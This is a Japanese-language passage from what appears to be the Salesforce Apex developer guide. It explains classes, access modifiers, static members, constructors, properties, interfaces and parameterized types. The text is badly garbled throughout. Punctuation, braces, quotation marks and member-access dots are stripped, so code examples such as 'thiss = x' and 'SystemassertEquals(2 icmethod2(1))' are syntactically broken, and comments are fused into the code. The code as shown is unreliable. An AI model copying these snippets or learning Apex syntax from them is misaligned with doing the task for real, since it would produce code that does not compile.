bull with sharingおよび without sharingの各キーワードはこのクラスの共有モードを指定します詳細はwith sharingまたはwithout sharingキーワードを使う (ページ 105)を参照してください

bull virtual定義修飾子はこのクラスが拡張やオーバーライドを許可することを宣言しますクラスがvirtual

として定義されていなければoverrideキーワードを使用したメソッドをオーバーライドはできませんbull abstract定義修飾子はこのクラスには abstract メソッドを含むつまりシグネチャのみが宣言されてお

りボディが定義されていないメソッドが含まれていることを宣言します

メモ

bull Developer Edition 組織では virtualまたは abstractのいずれかで宣言されたクラスを globalとして宣言することはできませんSandbox 組織では globalとして定義できますDeveloper Edition 組織では privateおよび publicクラスのみを virtualまたは abstractのいずれかで定義できますただしDeveloper Edition 組織または Sandbox 組織でglobalとして定義したクラスは virtual またはabstract クラスを拡張できます

bull クラスが「管理-リリース済み」パッケージバージョンでアップロードされた後に抽象クラスまたは仮想クラスにメソッドを追加することはできません管理パッケージの詳細は「管理パッケージでの Apex の開発 (ページ 165)」を参照してください

クラスは複数のインターフェースを実装できますが既存のクラスを 1 つしか拡張できませんこの制限はApex が複数の継承をサポートしていないことを意味していますリストのインターフェース名はカンマで区切られていますインターフェースの詳細は「インターフェースおよび拡張クラス」 (ページ 97)を参照してください

メソッドと変数のアクセス修飾子の詳細は「アクセス修飾子」 (ページ 92)を参照してください

拡張クラス例以下にApex クラスのすべての機能と共に拡張クラスの例を示します例におけるキーワードを概念はこの章全体を通じてさらに詳細に説明します

トップレベル (外部) クラスは public または global に設定しなければなりません (Web サービスが含まれている場合は globalそれ以外は通常 public に設定します) public class OuterClass

静的ファイナル変数 (定数)外部レベルクラスのみprivate static final Integer MY_INT

非ファイナルな静的変数この変数は単一要求内でのトリガ間の通信に 使用しますpublic static StringsharedState

静的メソッド外部クラスレベルのみpublic static Integer getInt() return MY_INT

静的な初期化 (変数が定義されている箇所に含めることができます)static MY_INT = 2

外部クラスのメンバー変数private final String m

クラスオブジェクトおよびインターフェース Version 180 | 拡張クラス例 | 86

インスタンス初期化ブロック変数を宣言している箇所もしくは コンストラクタで実行できます m = a

コンストラクタはこの外部クラスでは明示的に定義されていないため 暗黙的で引数を取らない公開コンストラクタが存在します

内部インターフェースpublic virtual interface MyInterface

インターフェースメソッドではアクセス修飾子は不要です これらはインターフェースの可視性により常にpublic または global となりますvoid myMethod()

インターフェース拡張interface MySecondInterface extends MyInterface Integer method2(Integeri)

内部クラスvirtual であるため拡張可能です このクラスはインターフェースを拡張しそのインターフェースは代わりに別のインターフェースを拡張します そのためクラスはすべてのメソッドを実装する必要がありますpublic virtual class InnerClass implements MySecondInterface

内部メンバー変数private final String s private final String s2

内部インスタンス初期化ブロック (このコードは上記に記述することもできます) thiss = x

インライン初期化 (上記のブロックが実行された後に発生します)private final Integer i = slength()

明示的な引数を取らないコンストラクタInnerClass() 後で定義される別のコンストラクタを起動しますthis(none)

ファイナル変数値を割り当てるコンストラクタpublic InnerClass(String s2) thiss2 = s2

MyInterface からメソッドを実装するインスタンスメソッド virtual として宣言されているためサブクラスによってオーバーライドできますpublic virtual void myMethod() なにも実行しない

上記の 2 つめのインターフェースメソッドの実装 このメソッドはメンバー変数を参照します (「this」接頭辞がある場合もない場合もあります)public Integer method2(Integer i) return thisi + slength()

Abstract クラス (上記のクラスのサブクラス)親クラスが引数と取らないコンストラクタであるため コンストラクタは不要ですpublic abstract class AbstractChildClass extends InnerClass

このシグネチャで親クラスのメソッドをオーバーライド override キーワードを使用しなければなりませんpublic override void myMethod() 別の処理を実行

親クラスメソッドを同じ名前で異なるシグネチャ これは異なるメソッド (ポリモルフィズムの表示) であるため override キーワードを使用する必要はありませんprotected void method2()

Abstract メソッドこのクラスのサブクラスはこのメソッドを実装する必要がありますabstract IntegerabstractMethod()

abstract メソッドを実装しabstract クラスを完了public class ConcreteChildClass extendsAbstractChildClass 親メソッドの可視性を拡張します可視性は サブクラスでは制限されないことにご注意くださいpublic override Integer abstractMethod() return 5

元の InnerClass の 2 つ目のサブクラスpublic class AnotherChildClass extends InnerClass AnotherChildClass(String s) 引数を取らないコンストラクタの代わりに別のスーパーコンストラクタを明示的に起動しますsuper(s)

例外内部クラスpublic virtual class MyException extends Exception 例外クラスのメンバー変数public Double d

クラスオブジェクトおよびインターフェース Version 180 | 拡張クラス例 | 87

例外クラスのコンストラクタMyException(Double d) thisd = d

protected とマークされた例外クラスメソッドprotected void doIt()

例外クラスはabstract または implement インターフェースとすることができますpublic abstract classMySecondException extends Exception implements MyInterface

このコード例は次を示します

bull トップレベル定義 (外部クラスとも呼ぶ)bull トップレベルクラスの静的変数および静的メソッドおよび静的初期化コードブロックbull トップレベルクラスのメンバー変数とメソッドbull ユーザ定義のコンストラクタが存在しないクラス暗黙的で引数をとらないコンストラクタを含むbull トップレベルクラスのインターフェース定義bull 別のインターフェースを拡張するインターフェースbull トップレベルクラス内の内部クラス定義 (1 つ下のレベル)bull メソッドシグネチャの公開バージョンを実装することでインターフェース (つまり関連付けられているサブ

インターフェース) を実装するクラスbull 内部クラスコンストラクタ定義と呼び出しbull 内部クラスメンバー変数とthisキーワード (引数なし) を使用したその変数の参照bull 別のコンストラクタの起動に thisキーワード (引数なし) を使用する内部クラスコンストラクタbull コンストラクタ外 (変数が定義されている箇所と中かっこ () で囲まれた匿名のブロックの両方) の初期化

コードこれらのコードはJava と同様にファイルに記述されている順序どおりにすべてのコンストラクションと共に実行されることにご注意ください

bull クラス拡張と抽象クラスbull 基本のクラスメソッドをオーバーライドするメソッド (virtualとして宣言する必要がある)bull サブクラスメソッドをオーバーライドするメソッドの overrideキーワードbull 抽象メソッドとコンクリートサブクラスによる実装bull protectedアクセス修飾子bull ファーストクラスオブジェクトとしての例外とそのメンバーメソッドコンストラクタ

この例では上記のクラスを別の Apex スクリプトからコールする方法を示します

内部コンクリートクラスのインスタンスとユーザ定義コンストラクタと共にコンストラクトOuterClassInnerClass ic = new OuterClassInnerClass(x)

そのクラスのユーザ定義メソッドをコールSystemassertEquals(2 icmethod2(1))

インターフェースデータ型で変数を定義しその変数に そのインターフェースを実装する型を割り当てOuterClassMyInterface mi = ic

通常通りに instanceof および casting を使用OuterClassInnerClass ic2 = mi instanceofOuterClassInnerClass (OuterClassInnerClass)mi null Systemassert(ic2 = null)

外部タイプをコンストラクトOuterClass o = new OuterClass() SystemassertEquals(2OuterClassgetInt())

抽象クラスの子のインスタンスをコンストラクトSystemassertEquals(5 newOuterClassConcreteChildClass()abstractMethod())

無効です抽象クラスをコンストラクトできません new OuterClassAbstractChildClass()

クラスオブジェクトおよびインターフェース Version 180 | 拡張クラス例 | 88

無効ですインスタンスから静的メソッドにアクセスできません ogetInt()

無効です外部から protected メソッドをコールできません newOuterClassConcreteChildClass()method2()

このコード例は次を示します

bull 外部クラスのコンストラクトbull 内部クラスのコンストラクトと内部インターフェース型の宣言bull インターフェース型として宣言された変数をインターフェースを実装するクラスのインスタンスに割り当

てbull そのインターフェースを実装するクラスタイプにインターフェース変数をキャスト (instanceof演算子を使

用した検証後)

クラス変数の宣言変数を宣言するには以下を指定します

bull オプション publicfinalstaticなどの修飾子bull 必須 StringBoolean などの変数のデータ型bull 必須 変数の名前bull オプション 変数の値

変数を定義するには次の構文を使用します

[public | private | protected | global | final] [static] data type variable name [= value]

private static final Integer MY_INT private final Integer i = 1

クラスメソッドの定義メソッドを定義するには以下を指定します

bull オプション publicや protectedなどの修飾子bull 必須 String や Integer などメソッドが返す値のデータ型メソッドが値を返さない場合はvoidを使用し

ますbull 必須カンマで区切られかっこ()で囲まれたメソッドの入力パラメータのリスト後にデータ型が続きます

パラメータがない場合は1 組の空のかっこを使用しますメソッドに指定できるパラメータは 32 個までです

bull 必須 中かっこ で囲まれたメソッドのボディローカル変数宣言を含めたメソッドのすべてのコードがここに含まれます

メソッドを定義するには次の構文を使用します

(public | private | protected | global ) [override] [static] data type method name (inputparameters) メソッドのボディ

クラスオブジェクトおよびインターフェース Version 180 | クラス変数の宣言 | 89

メモ virtualとして定義されたクラスのメソッドをオーバーライドするにはoverrideを使用します

public static Integer getInt() return MY_INT

Java の場合と同様に結果が別の変数に割り当てられない場合値を返すメソッドもステートメントとして実行できます

ユーザー定義メソッドの次の点に注意してください

bull システムメソッドが使用されている場合はいつでも使用できますbull メソッドに渡され変更された変数がメソッドをコールした元のコードでも変更されるよう参照によって

引数を渡しますbull 再帰する場合がありますbull sObject ID を初期化する DML insertステートメントなど悪影響の可能性があります「Apex のデータ操

作言語 (DML) 操作 (ページ 186)」を参照してくださいbull ユーザー定義メソッド自体または同じクラスまたは匿名ブロックで後で定義されたメソッドを参照できます

Apex は2 つのフェーズでメソッドを解析しますそのため事前の宣言は必要ありませんbull 多型の場合がありますたとえばfooというメソッドは 2 とおりに実行できます一方は単一の Integer パ

ラメータでもう一方は 2 つの Integer パラメータで実行できますメソッドを 1 つの Integers でコールするかまたは 2 つの Interger でコールするかによってApex パーサーは適切な実行を選択しますパーサーが完全一致を検出できない場合データ型強制規則を使用しておおよその一致を検索しますデータ変換のは「変換の規則について」 (ページ 39)を参照してください

メモ パーサーがおおよその一致を複数検出した場合解析時間の例外が生成されます

bull トリガで使用する場合staticとして宣言することはできませんbull 副次的影響のある void メソッドを使用する場合ユーザ定義メソッドがApexスクリプトでスタンドアロンの

プロシージャステートメントとして実行されます例

Systemdebug(ログ用のメモです)

bull 結果が別の変数に割り当てられない場合戻り値をステートメントとして実行するステートメントを指定できますこれは Java と同じです

コンストラクタの使用コンストラクタとはクラスの設計図からオブジェクトを作成したときに起動されるコードですすべてのクラスでコンストラクタを記述する必要はありませんクラスにユーザ定義のコンストラクタが存在しない場合暗黙的で引数をとらない公開コンストラクタが使用されます

コンストラクタの構文はメソッドと似ていますがコンストラクタには明示的な戻り値のタイプがないことと作成元のオブジェクトから継承されないという点がメソッドとは異なります

クラスオブジェクトおよびインターフェース Version 180 | コンストラクタの使用 | 90

クラスのコンストラクタを記述した後にコンストラクタを使用しそのクラスのオブジェクトをインスタンス化するには必ず newキーワードを使用しなければなりませんたとえば次のクラスを使用するとします

public class TestObject

引数のないコンストラクタpublic TestObject() ここにさらにコードを記述

このタイプの新しいオブジェクトは次のコードを使用してインスタンス化できます

TestObject myTest = new TestObject()

引数を取るコンストラクタを記述した場合記述したコンストラクタを使用してその引数を使用するオブジェクトを作成できます引数を取るコンストラクタを作成したものの引数を取らないコンストラクタを使用したい場合そのようなコンストラクタをコードに含める必要がありますクラスのコンストラクタを作成後はデフォルトの引数を取らない公開コンストラクタにアクセスする必要はありません自分で作成しなければなりません

Apex ではコンストラクタは オーバーロードつまりクラスにそれぞれ異なるパラメータを持つコンストラクタを 1 つ以上持つことができます次の例では引数のないものと単純な整数の引数を取るものの 2 つのコンストラクタを持つクラスを示していますまたthis()構文を使用して 1 つのコンストラクタから別のコンストラクタをコールする方法についても説明していますこの手法はコンストラクタチェーニングとも呼ばれます

public class TestObject2

private static final Integer DEFAULT_SIZE = 10

Integer size

引数のないコンストラクタpublic TestObject2() this(DEFAULT_SIZE) this() を使用し引数を 1 つ取るコンストラクタをコール

引数を 1 つ取るコンストラクタpublic TestObject2(Integer ObjectSize) size = ObjectSize

このタイプの新しいオブジェクトは次のコードを使用してインスタンス化できます

TestObject2 myObject1 = new TestObject2(42) TestObject2 myObject2 = new TestObject2()

クラスのために作成した各コンストラクタはそれぞれ異なる引数リストを持つ必要があります次の例のすべてのコンストラクタを持つことは可能です

public class Leads

最初は引数のないコンストラクタpublic Leads ()

引数を 1 つ取るコンストラクタpublic Leads (Boolean call)

引数を 2 つ取るコンストラクタpublic Leads (String email Boolean call)

このコンストラクタは上記のコンストラクタと同じ引数を取るものの 順序が異なっているため有効ですpublicLeads (Boolean call String email)

クラスオブジェクトおよびインターフェース Version 180 | コンストラクタの使用 | 91

新しいクラスを定義する場合新しいデータ型を定義することになりますそのクラス名はStringBooleanAccount など他のデータ型の名前を使用する場所であればどこででも使用できます型がクラスである変数を定義する場合それに割り当てるオブジェクトはそのクラスまたはサブクラスのインスタンスでなければなりません

アクセス修飾子Apex ではメソッドや変数の定義で privateprotectedpublicglobalの各アクセス修飾子を使用できます

トリガや匿名ブロックでもアクセス修飾子を使用できますがApex の狭い範囲では使いやすくありませんたとえば匿名ブロックで globalとしてのメソッドを宣言してもそのコードの外からコールすることはできません

クラスアクセス修飾子の詳細は「Apex クラスの定義」 (ページ 85)を参照してください

メモ インターフェースメソッドにはアクセス修飾子はありませんつねに global となります詳細は「インターフェースおよび拡張クラス」 (ページ 97)を参照してください

デフォルトではメソッドや変数は定義されたクラス内でのみ Apex に表示されますJava ではデフォルトでメソッドや変数は公開されるためこの点は Java とは異なりますApex は Java に比べると制限が大きく同じアプリケーション名前空間のクラスでメソッドや変数を利用するには明示的に公開であることを宣言する必要があります (「名前空間プレフィックス (ページ116)」を参照)次のアクセス修飾子を使用して表示のレベルを変更できますprivate

これはデフォルトですつまりメソッドや変数は定義された Apex クラス内でのみアクセスできますアクセス修飾子を指定しない場合メソッドや変数は privateとなります

protected

メソッドや変数は定義された Apex クラスのすべての内部クラスから参照できますこのアクセス修飾子はインスタンスメソッドやメンバー変数でのみ利用できますJava と同様にデフォルト (private) よりもより厳密な権限付与が必要であることにご注意ください

public

メソッドや変数はこのアプリケーションや名前空間のすべての Apex クラスで使用できます

メモ Apexではpublicアクセス修飾子は Java のものと同じではありませんアプリケーションの結合を妨げ各アプリケーションのコードを分離するための措置ですApex ではJava で行うように公開したい場合globalアクセス修飾子を使用します

global

ではメソッドや変数は同じアプリケーションの Apex スクリプトだけでなくクラスへのアクセス権のあるすべての Apex スクリプトで使用できますこのアクセス修飾子はForcecom Web サービス API やその他の Apex スクリプトのいずれかでアプリケーション外から参照する必要があるメソッドで使用しますメソッドまたは変数を globalとして宣言した場合それを含むクラスも globalとして宣言する必要があります

メモ Salesforcecom ではglobalアクセス修飾子は極力使用しないか全く使用しないことをお勧めしていますアプリケーション間の依存関係は維持が困難であるためです

クラスオブジェクトおよびインターフェース Version 180 | アクセス修飾子 | 92

privateprotectedpublicglobalアクセス修飾子を使用するには次の構文に従います

[(none)|private|protected|public|global] declaration

private string s1 = 1

public string gets1() return thiss1

静的およびインスタンスApexでは静的メソッド変数および初期化コードインスタンスメソッドメンバー変数および 変更子を含まない 初期化コードおよびローカル変数を持つことができます

bull 静的メソッド変数または初期化コードはクラスに関連していて外部クラス内でのみ可能ですstatic

としてメソッドまたは変数を宣言した場合クラスが読み込まれた時の一度だけ初期化されますbull インスタンスメソッドメンバー変数初期化コードは特定のオブジェクトと関連していて定義変更子

を持っていませんインスタンスメソッドメンバー変数初期化コードを宣言する場合そのクラスからインスタンス化された各オブジェクトと一緒にそのアイテムのインスタンスは作成されます

bull ローカル変数は宣言されたコードのブロックと関連付けられますすべての変数は使用前に初期化されなければなりません

以下はその範囲がifコードブロックの持続時間であるローカル変数の例です

Boolean myCondition = true if (myCondition) integer localVariable = 10

静的メソッドと変数を使う

静的メソッドと外部クラスを伴った変数のみが使用可能です内部クラスはメソッドや変数を持っていません静的メソッドや変数は実行するためにクラスのインスタンスを必要としません

あるクラスのすべての静的メンバー変数はそのクラスのオブジェクトの作成前に初期化されますこれには静的初期化コードブロックが含まれますこれらすべてはクラス内に現れる順に実行されます

静的メソッドは一般的にユーティリティー方式として使われ特定のインスタンスメンバー変数値に依存しません静的メソッドはクラスのみに関連するのでそのクラスのインスタンスメンバー変数値にはアクセスできません

静的変数は要求の範囲内で静的なだけですサーバー全体または全体組織においては静的ではありません

クラスの範囲内で共有される情報を保存するには静的変数を使ってください同じクラスのすべてのインスタンスは静的変数のシングルコピーです例えば同じ要求によって産まれるすべてのトリガは関連したクラス内の静的変数を見てアップデートすることによって互いと通信することができます再帰的なトリガはいつ再帰を終了するかを決定するためにクラス変数の値を使うかもしれません

以下のクラスを持っているとしましょう

public class p public static boolean firstRun = true

クラスオブジェクトおよびインターフェース Version 180 | 静的およびインスタンス | 93

このクラスを使うトリガは選択的にトリガーの最初の実行を失敗することができます

trigger t1 on Account (before delete after delete after undelete) if(TriggerisBefore)if(TriggerisDelete) if(pfirstRun) Triggerold[0]addError(Before Account DeleteError) pfirstRun=false

クラス静的変数はそのクラスの例を通してアクセスできません クラスCが静的変数Sを持っていてxがCのインスタンスの場合xSは不正表現です

以下のインスタンスメソッドに関しても同じですM()が静的メソッドの場合xM()は不正代わりにコードは以下のクラスを使った静的識別子を参照しますCSおよび CM()

ローカル変数がクラスネームと同じ名前の場合これらのメソッドと変数は隠されます

内部クラスは静的Java内部クラスのように機能しますがstaticキーワードを要求しません内部クラスは外部クラスのようにインスタンスメンバー変数を持つことができますが thisキーワードを使った 外部クラスのインスタンスへの暗黙的ポインタはありません

メモ 静的変数値はAPI バッチ間でリセットされますがガバナ制限はリセットされませんバッチを指定したバッチサイズより小さい塊に分割する場合があるためAPIバッチの状況に関する情報を追跡するために静的変数は使用しないでください

インスタンスメソッドと変数を使う

インスタンスメソッドとメンバー変数はクラスのインスタンスすなわちオブジェクトによって使われますインスタンスメンバー変数はメソッド内ではなくクラス内で宣言されますインスタンスメソッドはメソッド機能に影響するために通常インスタンスメンバー変数を使います

二次元のポイントを集めるクラスを持ちグラフ上にそれらをプロットしたいとします以下のスケルトンクラスがこれを示しますポイントのリストを保持するためのメンバー変数およびポイントの二次元リストを扱うための内部クラスを使います

public class Plotter

This inner class manages the points class Point Double x Double y

Point(Double x Double y) thisx = x thisy = y Double getXCoordinate() return x

Double getYCoordinate() return y

ListltPointgt points = new ListltPointgt()

public void plot(Double x Double y) pointsadd(new Point(x y))

The following method takes the list of points and does something with them public voidrender()

初期化コードを使う

初期化コードはクラス内で定義された以下のフォームのコードのブロックです

code body

クラスオブジェクトおよびインターフェース Version 180 | 静的およびインスタンス | 94

クラス内のインスタンス初期化コードはそのクラスからオブジェクトがインスタンス化されるたびに実行されますこれらのコードブロックはコンストラクタの前に実行されます

クラス用のコンストラクタを書き込みたくない場合インスタンス変数の初期化のためのインスタンス初期化コードブロックを使用可能ですしかしながら初期化をするには変数にデフォルト値を与えたりコンストラクタの本文を使用したりしてインスタンス初期化コードを使わない場合がほとんどでしょう

静的初期化コードは以下のキーワードstaticを伴って先行するコードのブロックです

static

code body

他の静的コードに類似して静的初期化コードはクラスの初回使用時に一度だけ初期化されます

一つのクラスは静的またはインスタンス初期化コードブロックのいずれかのナンバーを持てますそれらはコード本文内のどこにでも出現する可能性がありますJava内でと同様にファイル内で表示された順番にコードブロックは実行されます

静的最終変数を初期化するためおよび値のマップなど静的な情報を宣言するために静的初期化コードを使用可能です例

public class MyClass

class RGB

Integer red Integer green Integer blue

RGB(Integer red Integer green Integer blue) thisred = red thisgreen = green thisblue= blue

static MapltString RGBgt colorMap = new MapltString RGBgt()

static colorMapput(red new RGB(255 0 0)) colorMapput(cyan new RGB(0 255255)) colorMapput(magenta new RGB(255 0 255))

Apex プロパティApex プロパティは変数と似ていますがアクセスまたは返却する前にプロパティ値にスクリプトの内容を追加できますプロパティにはさまざまな使い方がありますまず変更の前にデータを検証できますまた他のメンバー変数値の変更などデータが変更される前にアクションを要求できますあるいは別のクラスなど別のソースから取得したデータを表示することもできます

プロパティの定義には一つまたは二つのコードブロックが含まれゲットアクセス機構とセットアクセス機構を表します

bull プロパティが読まれるとゲットアクセス機構内のコードが実行されますbull プロパティが新しい値に割り当てられるとセットアクセス機構内のコードが実行されます

ゲットアクセス機構だけを持ったプロパティは読み取り専用と考えられますセットアクセス機構だけを持ったプロパティは書き込み専用と考えられます両方のアクセス機構を持つプロパティは読み書き用です

クラスオブジェクトおよびインターフェース Version 180 | Apex プロパティ | 95

プロパティの宣言のためにクラスの本文内にて次の構文を使ってください

Public class BasicClass

Property declaration access_modifier return_type property_name get Get accessorcode block set Set accessor code block

この場合次のようになります

bull access_modifierがプロパティのアクセス変更子の場合は変数に適用可能なすべての変更子はプロパティにも適用可能です具体的にはpublicprivateglobalprotectedstaticvirtualabstractoverrideおよび transientですアクセス変更子についての詳細はAccess Modifiers (ページ 92)を参照してください

bull IntegerDoublesObjectなどreturn_typeはプロパティのタイプですIntegerDoublesObjectなど詳細はData Types (ページ 27)を参照してください

bull property_nameはプロパティ名です

例えば次のクラスはpropという名のプロパティを定義しますプロパティは公開ですプロパティはIntegerデータ型を戻します

public class BasicProperty public integer prop get return prop set prop = value

以下のコードセグメントは上記のクラスを呼び出しセットアクセス機構を実施します

BasicProperty bp = new BasicProperty() bpprop = 5 Calls set accessorSystemassert(bpprop == 5) Calls get accessor

次の点に注意してください

bull ゲットアクセス機構の本文は方法の本文に似ていますそれはプロパティ型の値を戻す必要がありますゲットアクセス機構を実行することは変数の値を読み取るのと同じことです

bull ゲットアクセス機構はリターンステートメント内で終わる必要がありますbull Salesforcecom はゲットアクセス機構が定義してしているオブジェクトの状態を変更しないことをお勧め

しますbull セットアクセス機構は戻り型が無効の方法に似ていますbull プロパティに値を割り当てると新しい値を与える引数によってセットアクセス機構が呼び出されますbull セットアクセス機構が呼び出されるとシステムは暗黙的引数をプロパティと同じデータ型のvalueと呼ば

れるセッターに渡しますbull プロパティはinterface上では定義できませんbull ApexプロパティはC内の対応物に基づいていて以下の違いを持っています

- プロパティは値のストレージを直接提供しますストレージ値のためにサポーティングメンバーを作成する必要はありません

- Apex内に自動プロパティを作成することが可能です詳細はUsing Automatic Properties (ページ 96)を参照してください

自動プロパティを使用する

プロパティはゲットまたはセットアクセス機構のコードブロック内に追加コードを要求しません代わりに自動プロパティを定義するためにゲットおよびセットアクセス機構のコードブロックは空白のままにし

クラスオブジェクトおよびインターフェース Version 180 | Apex プロパティ | 96

ておいてください自動プロパティによってデバッグと保守がより簡単なさらにコンパクトなコードを書くことが可能です読み取り専用読み書き用書き込み専用として宣言可能です以下の例は三つの自動プロパティの例を示しています

public class AutomaticProperty public integer MyReadOnlyProp get public doubleMyReadWriteProp get set public string MyWriteOnlyProp set

以下のコードセグメントはこれらのプロパティを実行します

AutomaticProperty ap = new AutomaticProperty() apMyReadOnlyProp = 5 コンパイルエラーが発生します not writable apMyReadWriteProp = 5 No errorSystemassert(MyWriteOnlyProp == 5) コンパイルエラーが発生します not readable

静的プロパティを使う

staticとしてプロパティが宣言された場合そのプロパティのアクセス機構方式は静的コンテキストで実行されますこれはそのアクセス機構がクラス内の非静的メンバー変数にアクセスしないことを意味します以下の例は静的およびインスタンスプロパティの両方を持つクラスを作成します

public class StaticProperty public static integer StaticMember public integerNonStaticMember public static integer MyGoodStaticProp getreturn MyGoodStaticProp The following produces a system error public static integer MyBadStaticProp returnNonStaticMember

public integer MyGoodNonStaticProp getreturn NonStaticMember

以下のコードセングメントは静的およびインスタンスプロパティを呼び出します

StaticProperty sp = new StaticProperty() システムエラーが発生します オブジェクトインスタンスの静的 変数にはアクセスできません spMyGoodStaticProp = 5

次の場合エラーは発生しません StaticPropertyMyGoodStaticProp = 5

プロパティアクセス機構上でアクセス変更子を使う

それ自身のアクセス変更子によってプロパティアクセス機構は定義可能ですアクセス機構がそれ自身のアスセス変更子を含んでいる場合この変更子はプロパティのアクセス変更子より優先します個別のアクセス機構のアクセス変更子はプロパティ上のアクセス変更子より限定的である必要があります例えばプロパティがpublicとして定義されている場合個別のアクセス機構はglobalとしては定義できません以下のクラス定義は追加の例です

global virtual class PropertyVisibility X is private for read and public for writepublic integer X private get set Y can be globally read but only written within aclass global integer Y get public set Z can be read within the class but onlysubclasses can set it public integer Z get protected set

インターフェースおよび拡張クラス

インタフェースはメソッドが実装されていないクラスのようなものですメソッドのシグネチャはありますが各メソッドの本文は空です インターフェースを使用するにはインターフェースに含まれるすべてのメソッドの本文を提供することによって別のクラスがインターフェースを実装する必要があります

クラスオブジェクトおよびインターフェース Version 180 | インターフェースおよび拡張クラス | 97

インターフェースは抽象化レイヤーをコードに提供できますインターフェースはメソッドの特定の実装をそのメソッドの宣言から分離しますこれによりアプリケーションに基づきメソッドを別個に実装できます

インターフェースの定義は新しいクラスの定義に似ています企業への顧客からと社員からの 2 種類の注文の例について考えますどちらもタイプは注文です割引をするメソッドが必要であるとします割引額は注文のタイプにより異なります

注文の一般的な概念をインターフェースとしてモデリングし顧客用および社員用に実装します次の例では注文の割引についてのみ示します

public class PurchaseOrders

一般的な注文の概要について定義するインターフェースpublic interface PurchaseOrder 他のすべての機能は除外Double discount()

顧客用のインターフェースの 1 つの実装public virtual class CustomerPurchaseOrder implementsPurchaseOrder public virtual Double discount() return 05 一律 5 の割引

従業員の注文は顧客の発注を拡張したものですが 割引率が異なりますpublic classEmployeePurchaseOrder extends CustomerPurchaseOrder public override Double discount() return 10 従業員であることにはメリットがあります割引率は 10

上記の例では次の点にご注意ください

bull インターフェースPurchaseOrderは汎用的なプロトタイプとして定義されていますインターフェース内で定義されているメソッドにはアクセス修飾子はなくそのシグネチャのみが含まれます

bull CustomerPurchaseOrderはこのインターフェースを実装しているためdiscountメソッドの定義を提供しなければなりませんJava においてはインターフェースを実装するすべてのクラスではインターフェースに含まれるすべてのメソッドを定義しなければなりません

bull 従業員用の注文は顧客用の注文を拡張します1 つのクラスから別のクラスに拡張するにはextendsキーワードを使用しますクラスは別のクラスを 1 つまでしか拡張できませんが1 つ以上のインターフェースを実装できます

新しいインターフェースを定義する場合新しいデータ型を定義することになりますそのインターフェース名は他のデータ型の名前を使用する場所であればどこででも使用できます型がインターフェースである変数を定義する場合それに割り当てるオブジェクトはインターフェースを実装するクラスのインスタンスまたはサブインターフェースデータ型でなければなりません

インターフェースは別のインターフェースを拡張できますクラスではインターフェースが別のインターフェースを拡張すると拡張元のインターフェースのすべてのメソッドとプロパティが拡張先のインターフェースでも利用できます

「クラスとキャスト」 (ページ 110)も参照してください

クラスが「管理-リリース済み」パッケージバージョンでアップロードされた後にインターフェースにメソッドを追加することはできません管理パッケージの詳細は「管理パッケージでのApexの開発 (ページ165)」を参照してください

クラスオブジェクトおよびインターフェース Version 180 | インターフェースおよび拡張クラス | 98

パラメータ化された型とインターフェースApex は通常静的に定型化されたプログラム言語でユーザは変数を使用する前に変数のデータ型を指定する必要がありますたとえば次の変数は Apex では適切です

Integer x = 1

xが始めに定義されていない場合次の変数は不正です

x = 1

リストマップおよびセットは Apex でパラメータ化されますApex が引数としてサポートするデータ型を採用しますこのデータ型はリストマップまたはセットの構造時に実際のデータ型と置き換える必要があります例

ListltStringgt myList = new ListltStringgt()

パラメータ化された型を使用すると構築時に実際のデータ型と置き換えられる一般的なデータ型パラメータでインターフェースを実装できます

次にパラメータ化されたインターフェースのシンタックスがどのように機能するかについての例を示しますこの例ではインターフェース Pairには2 つのタイプ変数 Tおよび Uがありますタイプ変数はインターフェースの本文で通常の型と同じように使用できます

public virtual interface PairltT Ugt T getFirst() U getSecond() void setFirst(T val)void setSecond(U val) PairltU Tgt swap()

次のインターフェース DoubleUpは Pairインターフェースを拡張します次のようにタイプ変数 Tを使用します

public interface DoubleUpltTgt extends PairltT Tgt

ヒント DoubleUpによって拡張するようにPairを virtualとして定義する必要があります

パラメータ化されたインターフェースの実装

パラメータ化されたインターフェースを実装するクラスはインターフェースのデータ型パラメータに引数としてデータ型を渡す必要があります

public class StringPair implements DoubleUpltStringgt private String s1 private String s2

public StringPair(String s1 String s2) thiss1 = s1 thiss2 = s2

public String getFirst() return thiss1 public String getSecond() return thiss2

public void setFirst(String val) thiss1 = val public void setSecond(String val) thiss2 = val

public PairltString Stringgt swap() return new StringPair(thiss2 thiss1)

クラスオブジェクトおよびインターフェース Version 180 | パラメータ化された型とインターフェース | 99

タイプ変数はクラスなどインターフェース宣言外に表示されることはありませんただしPairltString

Stringgtのように完全にインスタンス化されたタイプは他のデータ型が表示される Apex のどこでも使用できますたとえば次の変数は Apex では適切です

PairltString Stringgt y = xswap() DoubleUpltStringgt z = (DoubleUpltStringgt) y

この例ではコンパイラがクラス StringPairをコンパイルする場合クラスが DoubleUpltStringgtおよびPairltString Stringgtのすべてのメソッドを実行していることを確認する必要がありますそのためコンパイラはインターフェース PairltT Ugtの本文内の Tに String をUに String を代入します

DoubleUpltStringgt x = new StringPair(foo bar)

つまりクラスを正常にコンパイルするために次のメソッドプロトタイプをStringPairで実装する必要があります

String getFirst() String getSecond() void setFirst(String val) void setSecond(Stringval) PairltString Stringgt swap()

メソッドのオーバーロード

この例では次のインターフェースが使用されます

public interface OverloadedltTgt void foo(T x) void foo(String x)

インターフェース Overloadedは Apex で適切です名前は同じでパラメータが異なる 2 つ以上のメソッドを定義してメソッドをオーバーロードできますただしオーバーロードされたメソッドを呼び出す場合曖昧さがあってはいけません

インターフェースで指定された両方のメソッドプロトタイプを同時に実装するため次のクラスは正常にOverloadedインターフェースを実装します

public class MyClass implements OverloadedltStringgt public void foo(String x)

mが MyClassと指定されMyClassfooは一意の一致するメソッドであるため次は正常に実行されます

MyClass m = new MyClass() mfoo(bar)

oが OverloadedltStringgtに指定されofoo()の一致メソッドが 2 つありどちらも特定のメソッドに指定されないため次の例は正常に実行されませんコンパイラは2 つの一致メソッドのうちどちらを使用するか区別できません

OverloadedltStringgt o = m ofoo(bar)

パラメータ化されたリストによるサブタイプ

Apex ではタイプ Tが Uのサブタイプである場合ListltTgtは ListltUgtのサブタイプとなりますたとえば次の例は有効です

ListltStringgt slst = new ListltStringgt foo bar ListltObjectgt olst = slst

クラスオブジェクトおよびインターフェース Version 180 | パラメータ化された型とインターフェース | 100

ただしリストマップまたはセットなどパラメータ化されたタイプのインターフェイスで使用することはできません次の例は不正です

public interface IltTgt IltStringgt x = IltObjectgt y = x Compile error Illegalassignment from IltStringgt to IltObjectgt

